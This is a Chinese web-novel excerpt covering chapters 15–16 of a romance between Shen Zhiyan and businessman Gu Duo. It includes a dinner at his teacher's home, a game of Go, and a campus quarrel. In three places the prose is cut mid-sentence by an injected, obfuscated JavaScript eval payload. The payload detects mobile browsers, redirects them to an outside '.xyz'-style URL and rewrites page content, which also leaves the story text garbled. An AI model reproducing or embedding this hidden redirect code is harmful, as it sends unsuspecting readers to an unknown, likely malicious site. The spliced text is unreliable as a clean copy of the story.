沈知言有些意外,“还有客人要来?” “你们这也是赶巧了,他之前也是京大的学生,还是我的一个忘年交。”孟时平用手指戳了戳沈知言,“等会你好好跟人家学学什么是尊师重道。” 沈知言“哦”了一声就往南屋走,进屋后忽然发出一阵惊呼,“老师!这么老的摇椅你还留着呐?” 孟时平边换鞋边哼了一声,“那是我给我家猫留的窝,你可别瞎动。” 孟时平走后,沈知言就躺在南屋的摇椅上睡着了。 或许是漂泊太久见到了家人难得的安心,也或许是少时的气息太过熟悉,沈知言做了很多小时候的梦。 梦里,有一片花海,沈知言才几岁,被同样小小的哥哥牵着,说话都还不太利索,“红花花,黄花花,好多花花……” 梦里,他正值上小学的年纪,他的书包被人扯到了地上,书本散落了一地,地上还有很多大孩子,哥哥骑在一个人的身上,一拳一拳地打了下去。 梦里,他和哥哥在吵架。 哥哥酷酷地抬头45°仰望天空,“你根本就不懂,我们这样的人没有家庭的托举,根本走不出这个圈子。我们这辈子就这样了,为什么还要浪费时间去学校学那些死知识?你别拦我,我得赚钱养咱俩!” 那时的沈知言还小,没有哥哥成熟,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499357|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人像个小八爪鱼一样,死死地扒住了哥哥肩上的背包,就是不肯放手。 “什么叫走不出什么圈子?难道我们明天就死掉了吗?如果明天我们不会死掉,那今天走不出去,我们就明天继续走呀!沈岁安你把包给我放下,你不能不上学!” 梦里,哥哥梗着脖子在和一群人僵持着。 那时沈知言已经懂事了,他跑到哥哥面前,大声说:“沈岁安,我没有家,那咱们两个总要有一个人有家吧。我不要你在江城陪我,你等我去京市找你!你放心,我一定去找你!” 梦里……福利院的小伙伴一夕之间都被人领养了,第二天,福利院没有了。 梦里有两道声音在呼喊。 一个人在笑,“沈岁安,你在京市等我去找你。” 另一个在哭,“沈知言,你不要再来京市了。” 沈知言昏昏沉沉地,睡得很不安稳,像是在梦里看了一场电影,后来更是变成了一幅幅画面的闪回。 迷迷糊糊间,脸上像是有什么东西在动,有些发痒。 沈知言缓缓地睁开了眼睛,可是眼皮实在沉重,半阖不阖,他的眼前仿佛隔着一团雾气,眼神十分迷离。 雾气中,他隐约中竟然看到了顾铎的脸。 为什么……会有顾铎? 不管是自己的梦里还是老师家,都不是这张脸应该出现的地方。 沈知言本就在半梦半醒间,这下子更迷糊了。 顾铎确实很英俊,眉眼深邃,鼻梁高挺,面部轮廓刚硬有力,带着与生俱来的冷峻与矜贵。 沈知言神情恍惚间,手比脑子快,他怔怔地看着眼前的这张脸,竟抬起手来好奇地摸了摸。 触感竟然这么真实?甚至能清晰地感知到皮肤的纹路和顾铎的气息,就像是眼前的是真实的顾铎一样…… 等等! 真实的顾铎?! 顾铎静静地看着面前这个目光迷离的沈知言,只见他突然浑身一颤,像是如梦初醒般,眼睛一点点睁开,瞳孔逐渐放大,直至露出了一个震惊的表情。 “顾铎?!” 话音未落,沈知言抚在顾铎脸上的手像触电一般迅速收回,连带着他的整个人都向后瑟缩。 但是,沈知言是躺在摇椅上的,他这么大幅度的动作,立马打破了摇椅的平衡,整个摇椅连带着他这个人都一同向后倾去。 顾铎眼疾手快一把按住了摇椅椅背,这才将其稳住,但他的身子也随着他的动作欺身压在了沈知言的身上! 顾铎也没有想到,他来找孟教授品画,会在屋里见到睡着的沈知言。 他一进来就看到了放在门口的紫砂壶和祥龙茶宠,不知道为什么忽然想到了那天在夜色酒吧中和徐胜宇打球的沈知言。 他记得那天他让高筝去查沈知言他们为什么会出现在夜色酒吧,高筝查回来说,是沈知言在附近给他老师买礼物,因为齐卓轩临时约见,他们这才就近去的夜色酒吧。 当时沈知言买的东西,就是这两样。 心念一动,他进屋一看,果然真是沈知言! 今天的沈知言和以往西装笔挺的模样完全不同,像极了一个青春洋溢的大学生,头发也没有精心打理,软软地垂在额前。 窝在摇椅上的沈知言,整个人都软乎乎的,顾铎看了会儿,没忍住,碰了碰他的脸,谁知却把人给弄醒了。 他更没想到,沈知言醒来后迷迷糊糊的,竟然还敢摸自己的脸。 沈知言刚睡醒,脑子还不太灵光,一时忘了收回脸上诧异掺杂着惊慌的表情。 顾铎就气定神闲多了,他笑了笑,“沈总刚才这是?” 沈知言想到了刚才的失礼,迅速神思回笼,稳住了情绪,挂起了招牌笑容,歉意道:“抱歉,顾总,刚才做了个梦。” “哦。所以……”顾铎似乎有些不解,“沈总刚才摸我,是因为以为那是梦。” 这话说的确实也是事实,但表述得很不对味儿,说的好像沈知言在梦中会对他做什么一样。 但沈知言现在并不想在这一点上多做纠缠,于是干巴巴地回道:“刚才失礼……是因为觉得不可思议。” 顾铎没有再说话,但也没有动。 他们的距离很近,近到彼此呼出的气息都在相互交缠。这个距离让沈知言莫名想到了周四那晚在夜色酒吧中发生的事情,他的耳根缓缓攀上了一抹尴尬的红色。 沈知言很不习惯这么近距离地与人接触,见对方迟迟没有起身的打算,他有些不耐,犹豫了一下,轻声道:“顾总,劳烦让一下。” 顾铎挑了挑眉,忽然笑了笑,点头道:“好。” 之后顾铎倏然起身,直接放开了稳住摇椅椅背的手,摇椅骤然失去了阻力,瞬间向前摇了过来。 “哎哎哎?” 沈知言手忙脚乱地扒住了摇椅,堪堪稳住了身形,顾铎则径直转身,嘴角勾起,离开的脚步甚至有点轻快。 15. 孟教授他引狼入室 顾铎就是孟时平说的忘年交。 当年顾铎花了七位数拍下了孟时平的一幅画,把他给乐坏了。倒不是孟时平多看重钱,而是他觉得能花这么多钱买自己画的人一定是个伯乐。 那幅画的名字叫《花境》。 后来顾铎得知那幅画是孟时平和他的弟子共同创作的,可他那个孽障弟子却离家出走了。 而顾铎也是现在才知道,原来沈知言就是孟时平家的那个离家出走的孽障。 沈知言被顾铎的出现吓醒了,他缓了好一会儿,这才接受了在老师家里遇到顾铎这一离谱的事实。 他走出房间时,就看到顾铎正在厨房帮孟时平做饭。想了想,沈知言也抬脚往厨房走去。 谁知沈知言前脚刚要踏进厨房,后脚就被孟时平撵了出来。 “炸厨房的逆子给我出去!” 孟时平说的“炸厨房”,不是用的夸张修辞,而是客观叙事。 沈知言被撵出了厨房后,四处转悠了一圈,有点无所事事。他发现桌子上多了一些吃食,应该是顾铎提过来的,地上还摆着一些礼物,就放在自己带来的那些茶杯、茶宠旁边。 沈知言不禁暗暗庆幸,还好自己把这两样东西带过来了,不然那天去酒吧的刷脸行为很可能会就此穿帮。 不多时,随着厨房门一开一合的两声“砰”“砰”响动,顾铎也被赶出来了。 沈知言见状,心里瞬间平衡了许多。 沈知言觉得自己作为老师的徒弟,有必要帮老师接待来家里拜访的客人。于是又是找茶点又是帮忙泡茶,手忙脚乱地想招待对方。 然而,忙活到一半时,他忽然发现顾铎似乎也在轻车熟路地招待自己,对方甚至还熟练地拿出了老师一早准备好的卡萨塔、抹茶红豆羊羹还有一盘松露巧克力。 沈知言看着眼前那堆平日里老师连碰都不碰一下的东西,不由愣了愣,忽然眼眶有点发热。 这些都是现在的自己爱吃的东西,可他明明已经八年没有和老师见面了。 ——原来老师一直都在关注着他。 “我还好奇那天孟教授怎么忽然问我哪家甜品好吃,原来是给你准备的。” 顾铎把甜品装盘后摆上了餐勺,递到了沈知言面前,顺势在他旁边坐了下来。 沈知言一时间百感交集,不过有外人在场,他很快就压住了情绪。 他见顾铎对老师的家里布局这么熟悉,不由好奇地问道:“顾总,你和老师经常一起品画吗?” “是。孟教授是良师益友。”顾铎点点头,“孟教授作画的风格和创意我都很喜欢。” 见对方夸自己的老师,沈知言顿时生出了一股小骄傲,直接开启了夸夸模式,“老师非常擅长捕捉光线和色彩的瞬间变化,然后再用色彩的渐变和过渡呈现出来,而且他的用色也很大胆独特,不局限于自然色彩的还原,只求达到震撼人心的视觉效果和情感传达。” 说完,沈知言又觉得有些新奇,“没想到顾总竟然会喜欢老师这样的风格。” 顾铎挑了挑眉,语气中带着一丝玩味,“哦?那不知在沈总心中我应该喜欢什么样的风格?” 沈知言认真地思索了一下,直言道:“我一直以为像顾总这样杀伐果断、成熟稳重的商业巨擘,会更喜欢那种线条硬朗简洁、构图规整严谨的现代简约抽象风格的画作。” 杀伐果断、成熟稳重…… 顾铎细细地琢磨着沈知言对自己的评价,不用问也知道,这是他从自己过往的决策中瞎提炼出来的,不过顾铎觉得很受用。 顾铎被夸得心情不错,不由打开了话匣。 “说起来,能和孟教授相交还真是缘分使然。我曾经有一幅很中意的画,可惜求而不得,而孟教授的《花境》和那幅画的风格很像,我看到的第一眼就相中了。” “哦?”闻言,沈知言的眼睛亮了一瞬,彻底来了兴趣,“竟然还有顾总求而不得的东西?不知道是谁的画?” 沈知言是想着,自己在圈子里多少有点人脉,如果能把顾铎喜欢的画给他弄到手,换个和AG的合作不过分吧? “不知道。”没想到顾铎却遗憾的摇了摇头,但旋即又像是想到了什么,他眸光渐冷,嗤笑了一声,“不怎么有名,不过是那幅画的主人死活不肯割爱罢了。” 见状,沈知言忙闭上了正要追问的嘴。 他是想搞画送礼攀交情,但看顾铎的样子就知道,这里面分明还夹杂着恩怨情仇。 沈知言并不想掺和到这些破事中去,于是赶紧止住了话头。 “过去的求而不得确实很遗憾,不过未来也有很多不期而遇值得期待嘛。”他喝了口茶,笑着转移了话题,“说起来,那天在夜色酒吧的事,我还没有好好感谢顾总。当时我的助理还在警局,我实在不放心,走得有点匆忙,也没来得及和顾总打声招呼。失礼之处,还请顾总不要见怪。” 此时顾铎的神色已经恢复如常,他嘴边噙起了一抹笑意:“哪里,是顾楠有错在先。不过可惜你没有口福,那晚吴嫂做了马斯卡彭芝士蛋糕,味道还不错,以后有空的话可以来家里尝尝。” 听到“吴嫂”,沈知言一下子就想到了那天他在御景园见到的那个中年妇人。当时他浑身难受,对方还一脸关切地问自己的饮食偏好来着。 思及此,沈知言惋惜道:“确实遗憾,我还蛮喜欢马斯卡彭的,我的小助理用它做的提拉米苏也很好吃,有时间也请顾总尝尝。” “行啊。”顾铎大方地点了点头,“哪天?我看看时间。” “啊?”沈知言一时没反应过来。 他确实没想到,之前约见了半个月也约不出来的顾铎,现在竟然变得这么好约。他刚才只是随口一说,人家就应下了。 不过机会难得,沈知言认真地想了想,道:“嗯……拍卖会之后吧,到时候我请顾总吃大餐!” 对于沈知言将时间约在了拍卖会之后,顾铎是有些疑惑的,不过他并没有表现出来,只是笑道:“大餐就不必了,沈总请我吃顿家常便饭吧。” 沈知言从善如流地点了点头,“成。” 说完,沈知言便专注地挖着卡萨塔上面裹着糖霜的杏仁,而顾铎则若有所思地看着对方。 AG在确定了自家珠宝进入拍卖会之后,就向天御提了申请,想上拍卖图录的封页。顾铎原本以为沈知言会在拍卖会前约见自己谈录封的事,因而便给了对方约饭的机会,只是没想到却被他一杆子给支到拍卖会之后了。 沈知言这人说话做事,总能打在顾铎的意料之外。 桌上的甜点顾铎动的很少,对他来说,这些实在太甜了。 但这并不妨碍他饶有兴致地看着沈知言一小口一小口地挖着蛋糕吃。沈知言的神态专注又满足,每次将餐勺放入唇齿间时,都会用舌尖轻轻卷一下,防止甜品沾到其他地方,秀气极了。 顾铎不禁有些感慨,沈知言这个人,作息规律差得一塌糊涂,高糖高热还嗜酒熬夜,怎么皮肤还怎么好,基因的问题吗? “顾总?” 可能是顾铎思考得太认真了,没有注意掩饰自己探究的眼神。沈知言一抬头,正好撞见顾铎正目光深沉地看向自己,他愣了一下,不知道自己吃个蛋糕的功夫,怎么又把人给惹到了。 顾铎也回过了神来,他连忙调动起全身的演技,极为丝滑地将视线穿过沈知言,落到了他身后书房的窗边。 那里摆着一张围棋桌,顾铎之前常和孟教授在这里手谈。 顾铎装出一副刚才看的是围棋而不是沈知言的样子,突兀地问道:“下棋吗?” 沈知言沉默地看了看顾铎,虽然摸不准对方的意思,但还是笑着点了点头,“好啊。” …… 孟时平在厨房里做着饭,他的不肖孽徒和忘年小友一道窝进了他的书房,玩起了围棋。 二人的棋风大相径庭。 顾铎是大刀阔斧地冲锋陷阵,沈知言是细水长流地绵延布局。顾铎是大开大合、杀伐果断,沈知言是在细微处下功夫,在细节上抠死你。 他俩都挺讨厌对方的棋路的。 眼见着棋盘上的战事陷入了焦灼,顾铎一时想不出如何破局,于是掏出了根烟。 顾铎和孟时平都是老烟枪,但他没见沈知言抽过,于是便问了一下,“介意吗?” 沈知言摇了摇头表示不介意,接着起身打开了窗户,顺口叮嘱了句,“这玩意儿还是要少抽。” 顾铎见这人虽然嘴上说着不介意,但是又是开窗户又是嘱咐自己的,看架势应该还是介意的,于是又把烟收了回去。 “生意场上像沈总这样不抽烟的可不多。” 沈知言重新坐下后,落了子,笑道:“我以前也抽的,只是后来戒了,它对身体不好。” 顾铎觉得这人可真有意思,你说他生活健康吧?他嗜甜嗜酒还熬夜。你说生活不健康吧,他狠起来连烟都能戒。 “戒烟可不容易,那当初是为什么抽的?” “为了提神啊。”沈知言在左上角的局布完了,瞬间吃了对方一片白棋,“……我的事顾总应该是知道的吧。” 顾铎点点头,顺手在右上角落子,切断了沈知言这片棋与根据地的联系。 他是调查过沈知言,这没什么好隐瞒的。 阳光福利院长大,江城读的书,后来考上了京大但并没有就读,而是出了国。后来再有信息可查的时候,他已经在意大利的佛罗伦萨美术学院读书了,毕业后就入职了AG。 顾铎觉得这人还挺传奇。 “在国外的时候得忙着打工,但又不想落下学业,我每天也就睡两三个小时。”沈知言忽然笑了笑,带着一丝自嘲,“那时是真困,买不起咖啡,就找同学讨烟抽。” 他稍作停顿,继续说道:“后来日子好了些,不用靠抽烟提神了,我就赶紧戒了。这玩意儿对身体不好,我说真的,你和我老师以后都要少抽。” 顾铎不着痕迹地看了一眼沈知言。 他刚才那句话,平淡地如同过日子时细碎的叮嘱。还将自己和他的老师放到了一起,嘱咐得理所当然,蓦然给顾铎带来了一种细水长流的安心。 顾铎觉得,像是有一根羽毛在他的心脏上撩了一下,有些发痒。 借着刚才的话题,二人又展开聊了许多。 棋盘上厮杀正酣,沈知言觉得棋逢对手,干脆把抱枕抱到了怀里,盘腿坐到了藤椅上,用手支着腿上,思考着棋路。 “听孟教授说,《花境》的创意缘于你?” 《花境》这幅画是当年沈知言和孟时平在江城时一起创作的,它源于福利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499358|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院的那个花海。 其实那片花海沈知言只在很小的时候见过,印象早已模糊,但是他会在梦中重构,于是就有了《花境》。 沈知言忽然想到了刚才在南屋里那个乱糟糟的梦,手下一抖,棋子放错了位置。 顾铎挑眉,精准地抓住了时机,一番连销带打,摧枯拉朽地破了沈知言营造的大好局势。 沈知言一边思量着场上的局面,一边斟酌着语言,“嗯,那是我小时候最喜欢的地方,哥哥常带我去。” “你还有哥哥?” “是啊,福利院一起长大的,可他后来找到了家人,来了京市。” 福利院一起长大的哥哥? 这次换成了顾铎脑子没转过弯来,一时不慎,下了手臭棋。 沈知言一眼就看出了破绽,手起刀落,不给对方丝毫喘息的机会,瞬间就挽救了颓势。 “你们现在还有联系吗?” 沈知言摇了摇头,语气中有些落寞,“没有了,我已经……找不到他了。” 见沈知言这幅样子,顾铎心下一沉。他一边琢磨着后手,一边漫不经心地随口问道:“他叫什么?” 沈知言下棋的手一顿,轻声答道:“沈岁安。” “他也姓沈?” “是啊,我们是跟院长姓的,只是后来哥哥走后不久,福利院就突然关门了,那之后,我也没有再见过院长。” 顾铎想到那个阳光福利院确实关闭得很突然,而且在关闭后不久就被推倒建了厂子。至于福利院的关闭原因,因为时隔太久,现在已经无法考证。 总之,这些都已经是陈年旧事了。 顾铎笑着宽慰道:“小时候的事都过去了,沈总刚才说的很对,过去的求之不得固然遗憾,但未来还有很多不期而遇值得期待。” “嗯。”沈知言看了看顾铎,忽然狡黠一笑,随即“啪”的一声落下一子,“对杀了,顾总,我算着你可是凶多吉少。” …… 孟时平做好饭后,就看到他们二人在书房下棋,沈知言袖着手皱着眉头思索着,手里的棋子迟疑不定。 孟时平知道沈知言下棋的路子,那真是在细微处磨人,他这个做老师的都烦死了,可此时顾铎却十分好脾气地等着沈知言的动作,不仅没有丝毫不耐烦,还时不时地抬头看看沈知言脸上的表情。 这个眼神不对劲! 气氛也不对! 孟时平机敏地捕捉到了顾铎的眼神,顿时心中警铃大作,脑门上的雷达“噌”地一下就立了起来,忙戴上了祖传的有色眼镜疯狂扫描—— 一边是自己乖巧温顺孤苦无依的美貌小徒弟,一边是商场浸淫多年老谋深算的顾家掌权人,这还得了?! 心中一急,孟时平忙冲着屋里的二人喊道:“吃饭了,别玩了!” 沈知言刚想到好的策略,被这突如其来的一嗓子吓了一个激灵。他忙应了一声,顺手将棋子放到了想好的位置上,之后,就起身过去帮忙端菜。 顾铎觉得这是步好棋,可惜孟教授催得紧,他也不得不跟着出了书房,只是暗暗有些惋惜。 将菜在餐桌上摆好后,孟时平见顾铎抬脚就往沈知言旁边的位置上凑,吓得忙拍了拍自己的身边,“来,小顾,坐这!” 饭桌上他更是严防死守,话题一落到沈知言头上就直接转走,连个弯都不带拐的。 沈知言和顾铎都有些不明所以,二人面面相觑,都在对视中读懂了对方的不解。 吃完饭收拾了碗筷后,三人就在孟时平的书房中一起看起了顾铎带来的画。 沈知言开始时还会时不时地说上几句见解,可每次都被孟时平打断,久而久之,沈知言就撇撇嘴不吱声了。 顾铎看着沈知言一脸委屈巴巴的模样,觉得很有意思。他低头笑了一下,可一抬头,就看到孟时平沉着一张脸正阴恻恻地看着自己,顾铎脸上的笑容瞬间消失。 今天的老师/孟教授怕不是疯了?——沈知言和顾铎如是想。 今天的孟时平着实有点不对劲,沈知言被他“针对”得人都麻了。坐了一会后,就提着孟时平给准备好的大包小包,起身离开了。而就在沈知言走后没多久,顾铎也表示公司有事,向孟时平提了告辞。 孟时平站在门口看着顾铎步履匆匆的背影,愤愤地一拍大腿,只觉得自己大概是真的引狼入室了。 …… 沈知言走在京大的校园里,路上来往的学生较之早晨明显少了许多。他忽然听到有人在身后喊自己,一回头就见顾铎正大踏步地向自己走来。 见顾铎也溜了,沈知言心生理解:今天的老师前半场还算正常,后半场跟吃了枪药似的,得谁骂谁。 对上沈知言同情的目光,顾铎了然一笑。 今天阳光正好,洒在了顾铎脸上,像是镀了一层金色的光晕。 看着背光而站的顾铎,说不上为什么,沈知言的心蓦然一动,他想,可能是阳光太晃眼吧? 关于京大,沈知言有很多遗憾,当初他抱着一腔憧憬而来,却带着一身狼狈而走。 心念一动,沈知言忽然问道:“我记得顾总是京大毕业的吧?不知道有没有时间带我参观一下京大?” 阳光太耀眼,看不清沐浴在其中的顾铎脸上是什么表情,他点点头,“好。” 16. 争执 京大校园并不小,也有很多有名的景致,像是映心湖、墨碑林、情人坡等等。 二人逛了一个下午,沈知言手里拎着的腊肠和腌肉不知道什么时候跑到了顾铎手里。 不过大学校园里所谓的景点大多都挺唬人,比如他们现在所在的情人坡——其实说白了就是一片起伏的草地。 大白天的,这里也没有多少小情侣出没。倒是不远处有一伙人在踢球,充满青春气息的身影肆意张扬。 沈知言和顾铎一路上聊得还算投机,顾铎会给他讲一些京大的名人轶事,沈知言也会顺着对方的话抛出几个他在佛罗伦萨的趣事。 其实沈知言在国外上学时没有那么多的时间体味生活,但没吃过猪肉,还没见过猪跑吗?把别人的故事拿过来加工加工,就能促进一次聊天的延续。 当沈知言聊到当年他在欧罗巴号上遇到触礁搁浅,以至于对游轮有了阴影时,顾铎笑道:“那希望这次的拍卖会能给沈总带来一次好的体验,驱散阴影。” 这次月底的珠宝拍卖会将要在顾铎名下的天御一号轮渡上进行。 沈知言笑了笑,顺着话茬问道:“不知道这次的拍卖图录什么时候印发?” “封页设计还在调整,就这一两天的事吧。” 顾铎顿了顿,他想起了AG申请上图录封页的事。AG提供的“鸢尾月”虽然名贵,但还没有到一骑绝尘的地步。 于是他委婉地说道:“AG这次的拍品很好,但这次的封页竞争有些激烈。” 沈知言听懂了对方的暗示,试探道:“那封页是……宝丰阁的?” 顾铎摇了摇头,“宝丰阁的拍品被撤出了本次的拍卖会。” 接着,他意味深长地看向沈知言,补充道:“这周五做的决定。” 顾铎话里有话,沈知言没有接,他只是扬着头,等着对方的下文。 初秋的风已经有些凉了,轻轻拨动着沈知言的衣摆,淡蓝色的开衫柔软地贴合着他瘦削挺拔的身形。 他扬着脸,因为面向太阳,浓密的睫毛在眼睑下方投下了一小片阴影,阳光洒落在他的身上,将他柔软地头发染成了暖金色。 顾铎的声音不由软下了几分,“我最近听说了很多关于陈玉成在璀璨之夜做的事。” 沈知言点点头,这是他让秦昭放出去的消息,因为他接下来要动陈玉成。 对此,他没有隐瞒,“消息是我放出去的。” 对于沈知言的话,顾铎毫不意外,“但那件事背后的主使,其实是宝丰阁的东家,陆行驰。” 沈知言暗暗挑眉,联想到对方将宝丰阁拍品撤出的事,便直接了当地问道:“所以顾总忽然对宝丰阁出手,是在给我交代?” 顾铎坦然地点了点头,“是,正本清源。陆行驰算计的你,你动陈玉成这个替罪羊没有意义。” “没有意义”的解读可以有很多种,沈知言不想揣测。 他抬头看向对方,眼神中带有试探,“所以,顾总希望我怎么做?” 沈知言心中生出了一丝警惕,因为他想到了酒会那日顾铎的护短。顾铎护着徐胜宇情有可原,难不成今天还想护着这个陈玉成? 果然—— 顾铎直言道:“天御对宝丰阁出了手,那么璀璨之夜的事,是不是可以翻篇了?” 沈知言这下确定了,顾铎是在阻止他对陈玉成出手。 他不动声色地收回了目光,垂下眼睫,掩住了里面的失望。 沈知言一直都知道陈玉成未必是真正策划设计他的人,他也不在意。他要的,其实只是一个表明态度的由头。 京市各世家利益链盘根错节,他沈知言空降过来,还没能靠上顾家这颗大树,一旦态度软一点儿,就会被盘踞于此的地头蛇们踩死。 而陈玉成,是他拿来开刀的最好的对象。 如果今天陈玉成设计他,他却没有做出反应,那以后这种事只会更多。 思及此,沈知言心中冷笑一声,但面色依旧平和,“我想,顾总动宝丰阁,和我动陈玉成并不冲突。” 以顾铎的阅历,怎么会看不透对方面具下的心思? 他没想到沈知言脾气会这么硬,不由收回了语气中的那点温柔,“我觉得,有些事还是见好就收为好,沈总认为呢?” 沈知言虽然在社交上一贯温柔和顺,但是骨子里却十分强硬倨傲。如今面对顾铎的威胁,话赶话之下,他的反骨被激了出来。 “璀璨之夜那晚,宝丰阁的人诱导我进5302,被设计的人不单单是我,顾总也在其中。如今顾总用拍卖会的事报复陆家无可厚非,怎么到我这里就要见好就收了呢?” 顾铎的脸冷了下来,“你才回京市多久?查了半个多月也不过才查出了个陈玉成,你要拿什么跟人家硬碰?” “没错,我在京市没根基,比不得顾总手眼通天,我查了半个月的东西,恐怕顾总没几天就知道了原委。可是虽然我没有徐少的好发小,也没有冯少的好东家,但我沈知言也不是任人搓圆揉扁没有脾气的。” 顾铎气笑了,“沈总是不是小看我了,你查的这些东西,我第二天就知道了,还用等几天?” 沈知言愣了愣,顾铎一早就知道了真相却半点没有透露,那自己熬夜整理监控、找宋峰说和、酒会拼命自证,对顾铎来说,又算什么呢? 他不仅揣着明白指责自己爬床,还把自己当跳梁小丑一样耍着玩。 然而顾铎的输出还在继续,“你羡慕徐胜宇的好发小,是,你确实该羡慕。做我顾铎的朋友,就是可以得到更多的资源,有什么不对吗?很合理,我顾铎给的,他徐胜宇就配得到,你嫉妒他?你什么身份?” 沈知言紧了紧拳头,脸色白了一分,他强行压下了心底的涩意,不想再做纠缠,“是我不懂事了,没读懂顾总的游戏规则,这些日子,打扰顾总了。” 谁知此言一出,顾铎本来带着讥讽的面色忽然一沉,旋即冷哼一声,“沈总知道就好,那麻烦沈总以后少往天御集团送东西,处理起来怪麻烦的。” AG送的只有合作意向书,可在顾铎嘴里却有了别的意味。 沈知言嘴角牵出一个略带讽刺的笑,“您让助理打个回执就好,哪敢劳烦顾总亲自查看?” 顾铎眯了眯眼睛,打量了一下沈知言,忽然上前一步逼近,“我倒不知道沈总的脾气竟然这么大。也是,敢在京市给顾家人开瓢,你还有什么干不出来?不过我很好奇,沈总这么硬的脾气,怎么以往在我面前都乖得像只小兔子?怎么?想为AG卖身,勾搭上我,好让我帮你和宝丰阁打擂台?” 沈知言被他的话气得浑身发抖,后退一步想拉开和顾铎的距离,却被对方一把拽住,“跑什么?如今我帮你打了宝丰阁,你怎么反倒不装了?” 见甩不开顾铎,沈知言也不再挣扎,冷声道:“不敢,我哪配肖想顾总。不过既然顾总这么在意,还烦请您出面澄清一下外面的那些流言,这样对你我都好。” 顾铎闻言,却笑出了声,“现在嫌弃流言了?你利用流言威胁顾楠的时候怎么不说?沈知言,你口口声声说不懂我的规则,但其实你心里门儿清。今天你千方百计地把话题拐到游轮和拍卖上来,不就是想哄着我帮你把鸢尾月上封页吗?但你也不想想,你配吗?甚至都不用宝丰阁出手,峰达的紫玉冠和兆隆的天空之眼哪个不比你们AG的有价值?” 沈知言脸色瞬间惨白,他直视着顾铎,强压着情绪,“鸢尾月配不配上封页,不劳顾总费心,我有自己的办法。但就怕不管它配与不配,都不在上封页的选择范围内。” 被沈知言一而再、再而三地质疑公正性,顾铎的眼神彻底冷了下来。他失望地看了沈知言一眼,松开了钳制住对方的手,转身就要走。 可就在这时,一个足球裹挟着猎猎劲风,以惊人的速度朝着顾铎的方向猛然袭来! 顾铎刚转过身去没有看到,可沈知言却将这一幕看得清清楚楚。 “顾铎!” 来不及多想,沈知言急忙拉住顾铎的手腕把人往后一拽。 可顾铎并不知情,他只感觉沈知言忽然对自己动手,手臂本能地向后一甩,斥道:“走开!” 接着便听到了沈知言的惊呼和倒地的声音。 而就在下一刻,顾铎就看到一颗足球正好在他的眼前擦着他的鼻尖急速飞过,而远处也传来了一群人焦急的呼喊。 顾铎这才意识到沈知言刚才拉住自己的原因,回头时就见沈知言跌坐在了草地上,曲着膝盖,一只手覆在了他的左脚脚踝处,一言不发。 他慌了一瞬,想上去看一看对方的伤势,却见沈知言坐在那里,将头埋在了搭在膝盖上的臂弯处,半天也没有起身。 崴个脚能有多疼?至于吗? 顾铎一下子就想到了璀璨之夜那天,沈知言也是这么哄骗自己给他解开了绑他的领带的。被骗的记忆历历在目,顾铎没有一个坑连踩两次的癖好。 “装模作样。” 冷哼一声,他转头就走了,手里还拎着孟时平给沈知言带的东西。 崴脚没有多疼,但沈知言确实也不是装的,他只是低血糖犯了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499359|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈知言觉得天旋地转,整个人都很飘忽,耳边还传来了一阵阵耳鸣。 婉拒了前来捡球的人的好意,沈知言从口袋里掏出了一颗糖,剥了糖纸就塞进了嘴里,缓了好一会儿,他才从地上爬了起来,就近找了棵树,坐到了树根下。 沈知言拿出手机给秦昭发了自己的定位,就蜷起身子将头埋了下去。 还是很难受。 过了好半天,沈知言觉得缓得差不多了,抬起了头来,这才发现自己身前杵着一个高大的人影,不知站了多久。 竟然是去而复返、此时正一脸探究地看着自己的顾铎。 顾铎见沈知言没事了,便蹲下身来,拉过了沈知言的左脚查看伤势。 “你干嘛?嘶……” 沈知言一惊,忙要制止,可他力气哪里及得上顾铎?更何况他现在的状态很不好。 “别动。” 顾铎无视了沈知言的阻拦,将他的裤腿卷了上去。脚腕肿得很高,而且沈知言比较倒霉,他倒下的地方有一堆尖锐的碎石块,硌得他小腿上一片青紫。 沈知言的小腿又白又直,显得那团青紫的斑驳格外惨烈。 顾铎拿出了刚买回来的云南白药气雾剂冲着他肿起来的部位喷了一会,见沈知言此时脸色煞白,心里懊恼个不停。 他收起了气雾剂,但没放开沈知言的小腿,而是用一只手紧紧握着,另一只手缓缓地去推拿上面的淤青。 “嘶……不用,不用!”沈知言疼得想将腿往回缩,可顾铎就是不肯放手。 他默默地瞥了顾铎一眼,只觉得这个人不仅刚愎自用,待人双标,现在还听不懂人话。 沈知言一时之间有些憋屈。 他一开始想和顾铎在商言商,甚至为表诚意给出了很大的让利,可是顾铎因为和徐胜宇的交情拒绝了。 他认可了顾铎的游戏规则,于是就想和顾铎攀交情,可顾铎这时候又不讲交情了。 这个人自始至终都在用两套标准在跟自己玩儿。 “低血糖?” 